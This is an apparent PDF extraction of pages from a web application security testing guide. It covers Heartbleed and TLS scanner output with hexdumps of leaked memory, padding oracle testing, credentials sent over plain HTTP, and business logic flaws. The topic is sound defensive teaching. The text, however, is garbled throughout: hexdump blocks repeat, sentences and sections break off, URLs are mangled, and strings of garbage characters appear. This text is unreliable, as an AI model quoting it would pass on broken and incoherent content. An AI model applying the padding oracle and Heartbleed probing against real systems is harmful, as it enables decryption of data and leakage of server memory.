0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0
X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
`.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0
x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00
..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00
2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00
....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02
..........}.....
[-] Closing connection
[-] Connecting to 127.0.0.1:443 using TLSv1.1
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3!
127.0.0.1:443 is vulnerable over TLSv1.1
[-] Displaying response (lines consisting entirely of null bytes are
removed):
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......
SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00
.B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 ..........
.!..
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
;.<.=.>[email protected].
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0
(.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0
8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
@.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0
X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
`.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0
168
x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00
..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00
2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00
....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02
..........}.....
[-] Closing connection
[-] Connecting to 127.0.0.1:443 using TLSv1.2
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3!
127.0.0.1:443 is vulnerable over TLSv1.2
[-] Displaying response (lines consisting entirely of null bytes are
removed):
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......
SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00
.B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 ..........
.!..
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
;.<.=.>[email protected].
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0
(.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0
8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
@.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0
X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
`.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0
x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00
..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00
2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00
....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02
..........}.....
[-] Closing connection
169
test.css>
HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07
GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014
12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html
=====================================
<html>
<head>
<title>Login page </title>
</head>
<body>
<script src=http://othersite/test.js></script>
=====================================
170
sources.enablesecurity.com/resources/Surf%20Jacking.pdf
[!] Vulnerability Status: VULNERABLE
--------------- RAW HTTP RESPONSE --------------HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07
GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014
12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html
=====================================
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...
2009-3555,CVE-2011-1473,CVE-2011-5094) ...
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED
[*] Mitigated from DOS attack (CVE-20111473,CVE-2011-5094) mentioned in https://www.thc.org/thcssl-dos/
[*] Vulnerability Status: No
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED
[*] Immune from TLS Plain-text Injection attack (CVE2009-3555) - http://cve.mitre.org/cgi-bin/cvename.
cgi?name=CVE-2009-3555
[*] Vulnerability Status: No
=====================================
Loading module: TestSSLServer by Thomas Pornin ...
Checking localhost:443 for SSL version 2 support ...
=====================================
=====================================
Checking localhost:443 for TLS 1.1 support ...
Checking localhost:443 for TLS 1.2 support ...
[*] TLS 1.1, TLS 1.2: SUPPORTED
[*] Immune from BEAST attack mentioned in http://www.
infoworld.com/t/security/red-alert-https-has-beenhacked-174025
[*] Vulnerability Status: No
=====================================
=====================================
171
TLSv1.2
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
[*] GCM/CCM ciphers : SUPPORTED
[*] Immune from Lucky13 attack mentioned in http://www.isg.
rhul.ac.uk/tls/Lucky13.html
[*] Vulnerability Status: No
services.
Example 1. Testing for certificate validity (manually)
Rather than providing a fictitious example, this guide includes
an anonymized real-life example to stress how frequently one
stumbles on https sites whose certificates are inaccurate with
respect to naming. The following screenshots refer to a regional
site of a high-profile IT company.
We are visiting a .it site and the certificate was issued to a .com
site. Internet Explorer warns that the name on the certificate
does not match the name of the site.
=====================================
Checking localhost:443 for TLS Compression support against
`9L&y&j9L&
[*] TLS Compression : DISABLED
9`9L&j9L&dia.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfectcrime-beery-wp.pdf
[*] Vulnerability Status: No
=====================================
[+] Breacher finished scanning in 12 seconds.
[+] Get your latest copy at http://yehg.net/
172
173
Summary
A padding oracle is a function of an application which decrypts
encrypted data provided by the client, e.g. internal session state
stored on the client, and leaks the state of the validity of the
padding after decryption. The existence of a padding oracle allows an attacker to decrypt encrypted data and encrypt arbitrary
data without knowledge of the key used for these cryptographic
operations. This can lead to leakage of sensible data or to privilege escalation vulnerabilities, if integrity of the encrypted data
is assumed by the application.
Block ciphers encrypt data only in blocks of certain sizes. Block
sizes used by common ciphers are 8 and 16 bytes. Data where
the size doesnt match a multiple of the block size of the used
cipher has to be padded in a specific manner so the decryptor is
able to strip the padding. A commonly used padding scheme is
PKCS#7. It fills the remaining bytes with the value of the padding
length.
174
Example:
If the padding has the length of 5 bytes, the byte value 0x05 is
repeated five times after the plain text.
An error condition is present if the padding doesnt match the
syntax of the used padding scheme. A padding oracle is present
if an application leaks this specific padding error condition for encrypted data provided by the client. This can happen by exposing exceptions (e.g. BadPaddingException in Java) directly, by subtle differences in the responses sent to the client or by another side-channel
like timing behavior.
Certain modes of operation of cryptography allow bit-flipping attacks, where flipping of a bit in the cipher text causes that the bit is
also flipped in the plain text. Flipping a bit in the n-th block of CBC encrypted data causes that the same bit in the (n+1)-th block is flipped
in the decrypted data. The n-th block of the decrypted cipher text is
garbaged by this manipulation.
The padding oracle attack enables an attacker to decrypt encrypted
data without knowledge of the encryption key and used cipher by
sending skillful manipulated cipher texts to the padding oracle and
observing of the results returned by it. This causes loss of confidentiality of the encrypted data. E.g. in the case of session data stored
on the client side the attacker can gain information about the internal
state and structure of the application.
A padding oracle attack also enables an attacker to encrypt arbitrary plain texts without knowledge of the used key and cipher. If
the application assumes that integrity and authenticity of the decrypted data is given, an attacker could be able to manipulate internal session state and possibly gain higher privileges.
How to Test
Black Box Testing
Testing for padding oracle vulnerabilities:
First the possible input points for padding oracles must be identified. Generally the following conditions must be met:
Result Expected:
A secure implementation will check for integrity and cause only two
responses: ok and failed. There are no side channels which can be
used to determine internal error states.
[1] The data is encrypted. Good candidates are values which appear
to be random.
[2] A block cipher is used. The length of the decoded (Base64 is used
often) cipher text is a multiple of common cipher block sizes like 8 or
16 bytes. Different cipher texts (e.g. gathered by different sessions or
manipulation of session state) share a common divisor in the length.
Example:
Dg6W8OiWMIdVokIDH15T/A== results after Base64 decoding in
0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. This seems to be
random and 16 byte long.
If such an input value candidate is identified, the behavior of the
application to bit-wise tampering of the encrypted value should be
verified. Normally this Base64 encoded value will include the initialization vector (IV) prepended to the cipher text. Given a plaintext p
and a cipher with a block size n, the number of blocks will be b = ceil(
length(b) / n). The length of the encrypted string will be y=(b+1)*n
due to the initialization vector. To verify the presence of the oracle,
decode the string, flip the last bit of the second-to-last block b-1
(the least significant bit of the byte at y-n-1), re-encode and send.
Next, decode the original string, flip the last bit of the block b-2 (the
Tools
PadBuster - https://github.com/GDSSecurity/PadBuster
python-paddingoracle - https://github.com/mwielgoszewski/py
thon-paddingoracle
Poracle - https://github.com/iagox86/Poracle
Padding Oracle Exploitation Tool (POET) http://netifera.com/research/
Examples
Visualization of the decryption process - http://erlend.oftedal.no/
blog/poet/
175
References
Whitepapers
Wikipedia - Padding oracle attack http://en.wikipedia.org/wiki/Padding_oracle_attack
Juliano Rizzo, Thai Duong, Practical Padding Oracle Attacks http://www.usenix.org/event/woot10/tech/full_papers/Rizzo.pdf
Summary
Sensitive data must be protected when it is transmitted through
the network. If data is transmitted over HTTPS or encrypted in
another way the protection mechanism must not have limitations or vulnerabilities, as explained in the broader article Testing
for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001) [1] and in other OWASP documentation
[2], [3], [4], [5].
As a rule of thumb if data must be protected when it is stored,
this data must also be protected during transmission. Some examples for sensitive data are:
Information used in authentication (e.g. Credentials, PINs, Session identifiers, Tokens, Cookies)
Information protected by laws, regulations or specific organizational policy (e.g. Credit Cards, Customers data)
If the application transmits sensitive information via unencrypted channels - e.g. HTTP - it is considered a security risk. Some
examples are Basic authentication which sends authentication
credentials in plain-text over HTTP, form based authentication
credentials sent via HTTP, or plain-text transmission of any other information considered sensitive due to regulations, laws, organizational policy or application business logic.
How to Test
Various types of information that must be protected, could be
transmitted by the application in clear text. It is possible to check
if this information is transmitted over HTTP instead of HTTPS,
or whether weak cyphers are used. See more information about
insecure transmission of credentials Top 10 2013-A6-Sensitive
Data Exposure [3] or insufficient transport layer protection in
general Top 10 2010-A9-Insufficient Transport Layer Protection
[2].
Example 1: Basic Authentication over HTTP
A typical example is the usage of Basic Authentication over
HTTP. When using Basic Authentication, user credentials are encoded rather than encrypted, and are sent as HTTP headers. In
the example below the tester uses curl [5] to test for this issue.
Note how the application uses Basic authentication, and HTTP
rather than HTTPS
curl -kis http://example.com/restricted/
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT
WWW-Authenticate: Basic realm=Restricted Area
Accept-Ranges: bytes Vary:
Accept-Encoding Content-Length: 162
Content-Type: text/html
<html><head><title>401 Authorization Required</title></
head>
<body bgcolor=white> <h1>401 Authorization Required</
h1> Invalid login credentials! </body></html>
Example 2: Form-Based Authentication Performed over HTTP
Another typical example is authentication forms which transmit
user authentication credentials over HTTP. In the example below one can see HTTP being used in the action attribute of the
form. It is also possible to see this issue by examining the HTTP
traffic with an interception proxy.
<form action=http://example.com/login>
<label for=username>User:</label> <input type=text id=username name=username value=/><br />
<label for=password>Password:</label> <input
type=password id=password name=password value=/>
<input type=submit value=Login/>
</form>
Example 3: Cookie Containing Session ID Sent over HTTP
The Session ID Cookie must be transmitted over protected channels. If the cookie does not have the secure flag set [6] it is permitted for the application to transmit it unencrypted. Note below
the setting of the cookie is done without the Secure flag, and the
entire log in process is performed in HTTP and not HTTPS.
https://secure.example.com/login
POST /login HTTP/1.1
Host: secure.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9;
rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://secure.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 188
HTTP/1.1 302 Found
Date: Tue, 03 Dec 2013 21:18:55 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, maxage=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Set-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; expires=Fri, 01-Jan-2014 00:00:00 GMT;
176
Tools
Summary
Testing for business logic flaws in a multi-functional dynamic
web application requires thinking in unconventional methods.
If an applications authentication mechanism is developed with
177
Example 1:
Suppose an e-commerce site allows users to select items to purchase, view a summary page and then tender the sale. What if an
attacker was able to go back to the summary page, maintaining
their same valid session and inject a lower cost for an item and
complete the transaction, and then check out?
Example 2:
Holding/locking resources and keeping others from purchases
these items online may result in attackers purchasing items at a
lower price. The countermeasure to this problem is to implement
timeouts and mechanisms to ensure that only the correct price
can be charged.
Example 3:
What if a user was able to start a transaction linked to their club/
loyalty account and then after points have been added to their
account cancel out of the transaction? Will the points/credits still
be applied to their account?
Business Logic Test Cases
Every application has a different business process, application
specific logic and can be manipulated in an infinite number of
combinations. This section provides some common examples of
business logic issues but in no way a complete list of all issues.
Business Logic exploits can be broken into the following categories:
4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)
In business logic data validation testing, we verify that the application does not allow users to insert unvalidated data into
the system/application. This is important because without this
safeguard attackers may be able to insert unvalidated data/information into the application/system at handoff points where
the application/system believes that the data/information is
good and has been valid since the entry points performed
data validation as part of the business logic workflow.
4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)
In forged and predictive parameter request testing, we verify
that the application does not allow users to submit or alter data
to any component of the system that they should not have access
to, are accessing at that particular time or in that particular manner. This is important because without this safeguard attackers
may be able to fool/trick the application into letting them into
sections of thwe application of system that they should not be
allowed in at that particular time, thus circumventing the applications business logic workflow.
4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)
In integrity check and tamper evidence testing, we verify that the
application does not allow users to destroy the integrity of any
part of the system or its data. This is important because without
these safe guards attackers may break the business logic workflow and change of compromise the application/system data or
cover up actions by altering information including log files.
4.12.4 Test for Process Timing (OTG-BUSLOGIC-004)
In process timing testing, we verify that the application does not
allow users to manipulate a system or guess its behavior based
Tools
While there are tools for testing and verifying that business processes are functioning correctly in valid situations these tools
are incapable of detecting logical vulnerabilities. For example,
tools have no means of detecting if a user is able to circumvent
the business process flow through editing parameters, predicting resource names or escalating privileges to access restricted
resources nor do they have any mechanism to help the human
178
site you use, with all your accounts; if you want to use another
account just swap profile!
HTTP Response Browser - https://chrome.google.com/webstore/detail/mgekankhbggjkjpcbhacjgflbacnpljm?hl=en-US
Make HTTP requests from your browser and browse the response (HTTP headers and source). Send HTTP method, headers
and body using XMLHttpRequest from your browser then view
the HTTP status, headers and source. Click links in the headers or
body to issue new requests. This plug-in formats XML responses
and uses Syntax Highlighter < http://alexgorbatchev.com/ >.
Firebug lite for Chrome - https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench
Firebug Lite is not a substitute for Firebug, or Chrome Developer
Tools. It is a tool to be used in conjunction with these tools. Firebug Lite provides the rich visual representation we are used to
see in Firebug when it comes to HTML elements, DOM elements,
and Box Model shading. It provides also some cool features like
inspecting HTML elements with your mouse, and live editing CSS
properties.
References
Whitepapers
Business Logic Vulnerabilities in Web Applications Gy#9_000
00GynCRG_6&0_M1Enjj6Cjjj6
The Common Misuse Scoring System (CMSS): Metrics for Software Feature Misuse Vulnerabilities - NISTIR 7864 - http://csrc.
nist.gov/publications/nistir/ir7864/nistir-7864.pdf
Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems, Faisal Nabi http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12n1-p29-41.pdf
Finite State testing of Graphical User Interfaces, Fevzi Belli http://www.slideshare.net/Softwarecentral/finitestate-testing-of-graphical-user-interfaces
Principles and Methods of Testing Finite State Machines - A
Survey, David Lee, Mihalis Yannakakis - http://www.cse.ohiostate.edu/~lee/english/pdf/ieee-proceeding-survey.pdf
Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin
Choi - http://homepages.cs.ncl.ac.uk/jeff.yan/TEL.pdf
179
ness_logic_flaws.html
Toward Automated Detection of Logic Vulnerabilities in Web
Applications - Viktoria Felmetsger Ludovico Cavedon Christopher Kruegel Giovanni Vigna - https://www.usenix.org/legacy/
event/sec10/tech/full_papers/Felmetsger.pdf
Business_Logic_White_Paper.pdf
Books
The Decision Model: A Business Logic Framework Linking Business and Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC Press, ISBN1420082817 (2010)
z d 9 d `
Logic Abuse, Dr. Ponemon - http://www.emc.com/collateral/
rsa/silvertail/rsa-silver-tail-ponemon-ar.pdf
z d 9 d `
Logic Abuse (UK) Edition, Dr. Ponemon - http://buzz.silvertailsystems.com/Ponemon_UK.htm
OWASP Related
Business Logic Attacks Bots and Bats, Eldad Chai - http://
www.imperva.com/resources/adc/pdfs/AppSecEU09_BusinessLogicAttacks_EldadChai.pdf
OWASP Detail Misuse Cases - https://www.owasp.org/index.
php/Detail_misuse_cases
How to Prevent Business Flaws Vulnerabilities in Web Applications, Marco Morana - http://www.slideshare.net/marco_morana/issa-louisville-2010morana
Useful Web Sites
Abuse of Functionality - http://projects.webappsec.org/w/
page/13246913/Abuse-of-Functionality
Business logic - http://en.wikipedia.org/wiki/Business_logic
Business Logic Flaws and Yahoo Games - http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html
CWE-840: Business Logic Errors - http://cwe.mitre.org/data/
definitions/840.html
Defying Logic: Theory, Design, and Implementation of Complex
Systems for Testing Application Logic http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation
Prevent application logic attacks with sound app security
practices
http://searchappsecurity.techtarget.
co m /q n a /0, 2 8 9202 ,si d 92_g c i1213 424 ,0 0 . h t m l ? b u c kM&zd
Real-Life Example of a Business Logic Defect - http://h30501.
www3.hp.com/t5/Following-the-White-Rabbit-A/Real-LifeExample-of-a-Business-Logic-Defect-Screen-Shots/bap/22581
Software Testing Lifecycle - http://softwaretestingfundamentals.com/software-testing-life-cycle/
Top 10 Business Logic Attack Vectors Attacking and Exploiting
Business Application Assets and Flaws Vulnerability Detection
to Fix http://www.ntobjectives.com/go/business-logic-attack-vectors-white-paper/ and http://www.ntobjectives.com/files/
Summary
The application must ensure that only logically valid data can be
entered at the front end as well as directly to the server side of
an application of system. Only verifying data locally may leave
applications vulnerable to server injections through proxies or at
handoffs with other systems. This is different from simply performing Boundary Value Analysis (BVA) in that it is more difficult
and in most cases cannot be simply verified at the entry point,
but usually requires checking some other system.
For example: An application may ask for your Social Security
Number. In BVA the application should check formats and semantics (is the value 9 digits long, not negative and not all 0s) for
the data entered, but there are logic considerations also. SSNs
are grouped and categorized. Is this person on a death file? Are
they from a certain part of the country?
Vulnerabilities related to business data validation is unique in
that they are application specific and different from the vulnerabilities related to forging requests in that they are more concerned about logical data as opposed to simply breaking the
business logic workflow.
The front end and the back end of the application should be verifying and validating that the data it has, is using and is passing
along is logically valid. Even if the user provides valid data to an
application the business logic may make the application behave
differently depending on data or circumstances.
Examples
Example 1
Suppose you manage a multi-tiered e-commerce site that allows
users to order carpet. The user selects their carpet, enters the
size, makes the payment, and the front end application has verified that all entered information is correct and valid for contact
information, size, make and color of the carpet. But, the business
logic in the background has two paths, if the carpet is in stock it
is directly shipped from your warehouse, but if it is out of stock in
your warehouse a call is made to a partners system and if they
have it in-stock they will ship the order from their warehouse
and reimbursed by them. What happens if an attacker is able to
continue a valid in-stock transaction and send it as out-of-stock
to your partner? What happens if an attacker is able to get in the
middle and send messages to the partner warehouse ordering
carpet without payment?
Example 2
Many credit card systems are now downloading account balances nightly so the customers can check out more quickly for
amounts under a certain value. The inverse is also true. I
f I pay my credit card off in the morning I may not be able to use
the available credit in the evening. Another example may be if I
use my credit card at multiple locations very quickly it may be
180
Tools
Remediation
The application/system must ensure that only logically valid
data is accepted at all input and hand off points of the application or system and data is not simply trusted once it has entered
the system.
Summary
Forging requests is a method that attackers use to circumvent
the front end GUI application to directly submit information for
back end processing. The goal of the attacker is to send HTTP
POST/GET requests through an intercepting proxy with data values that is not supported, guarded against or expected by the
applications business logic. Some examples of forged requests
include exploiting guessable or predictable parameters or expose hidden features and functionality such as enabling debugging or presenting special screens or windows that are very
useful during development but may leak information or bypass
the business logic.
Vulnerabilities related to the ability to forge requests is unique
to each application and different from business logic data validation in that it s focus is on breaking the business logic workflow.
Applications should have logic checks in place to prevent the
system from accepting forged requests that may allow attackers the opportunity to exploit the business logic, process, or flow
of the application. Request forgery is nothing new; the attacker
uses an intercepting proxy to send HTTP POST/GET requests to
the application. Through request forgeries attackers may be able
to circumvent the business logic or process by finding, predicting and manipulating parameters to make the application think a
process or task has or has not taken place.
Also, forged requests may allow subvention of programmatic or
business logic flow by invoking hidden features or functionality such as debugging initially used by developers and testers
sometimes referred to as an Easter egg. An Easter egg is an
intentional inside joke, hidden message, or feature in a work such
as a computer program, movie, book, or crossword. According to
game designer Warren Robinett, the term was coined at Atari by
personnel who were alerted to the presence of a secret message
which had been hidden by Robinett in his already widely distributed game, Adventure. The name has been said to evoke the idea
of a traditional Easter egg hunt. http://en.wikipedia.org/wiki/
Easter_egg_(media)
Examples
Example 1
Suppose an e-commerce theater site allows users to select their
ticket, apply a onetime 10% Senior discount on the entire sale,
view the subtotal and tender the sale. If an attacker is able to
see through a proxy that the application has a hidden field (of
1 or 0) used by the business logic to determine if a discount has
been taken or not. The attacker is then able to submit the 1 or no
discount has been taken value multiple times to take advantage
of the same discount multiple times.
181
Example 2
Suppose an online video game pays out tokens for points scored
for finding pirates treasure and pirates and for each level completed. These tokens can later be that can later be exchanged
for prizes. Additionally each levels points have a multiplier value
equal to the level. If an attacker was able to see through a proxy
that the application has a hidden field used during development
and testing to quickly get to the highest levels of the game they
could quickly get to the highest levels and accumulate unearned
points quickly.
Also, if an attacker was able to see through a proxy that the application has a hidden field used during development and testing
to enabled a log that indicated where other online players, or hidden treasure were in relation to the attacker, they would then be
able to quickly go to these locations and score points.
How to Test
Generic Testing Method
`
looking for guessable, predictable or hidden functionality of
fields.
References
Cross Site Request Forgery - Legitimizing Forged Requests
http://fragilesecurity.blogspot.com/2012/11/cross-siterequest-forgery-legitimazing.html
R
system allowing the user go through the application/system
against the normal busineess logic workflow.
Remediation
The application must be smart enough and designed with business logic that will prevent attackers from predicting and manipulating parameters to subvert programmatic or business logic
flow, or exploiting hidden/undocumented functionality such as
debugging.
n6jj^^Rdj1&j
looking for some indication that values are incrementing at a
regular interval or are easily guessable.
9
changed and one may gain unexpected visibility.
Specific Testing Method 2
n6jj^^Rdj1&j
looking for some indication of hidden features such as debug
that can be switched on or activated.
9
different application response or behavior.
Related Test Cases
Testing for Exposed Session Variables (OTG-SESS-004)
Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)
Testing for Account Enumeration and Guessable User Account
(OTG-IDENT-004)
Tools
Summary
Many applications are designed to display different fields depending on the user of situation by leaving some inputs hidden.
However, in many cases it is possible to submit values hidden
field values to the server using a proxy. In these cases the server side controls must be smart enough to perform relational or
server side edits to ensure that the proper data is allowed to the
server based on user and application specific business logic.
Additionally, the application must not depend on non-editable
controls, drop-down menus or hidden fields for business logic
processing because these fields remain non-editable only in the
context of the browsers. Users may be able to edit their values
using proxy editor tools and try to manipulate business logic.
If the application exposes values related to business rules like
quantity, etc. as non-editable fields it must maintain a copy on
the server side and use the same for business logic processing.
Finally, aside application/system data, log systems must be secured to prevent read, writing and updating.
Business logic integrity check vulnerabilities is unique in that
these misuse cases are application specific and if users are able
to make changes one should only be able to write or update/edit
specific artifacts at specific times per the business process logic.
The application must be smart enough to check for relational
edits and not allow users to submit information directly to the
server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through
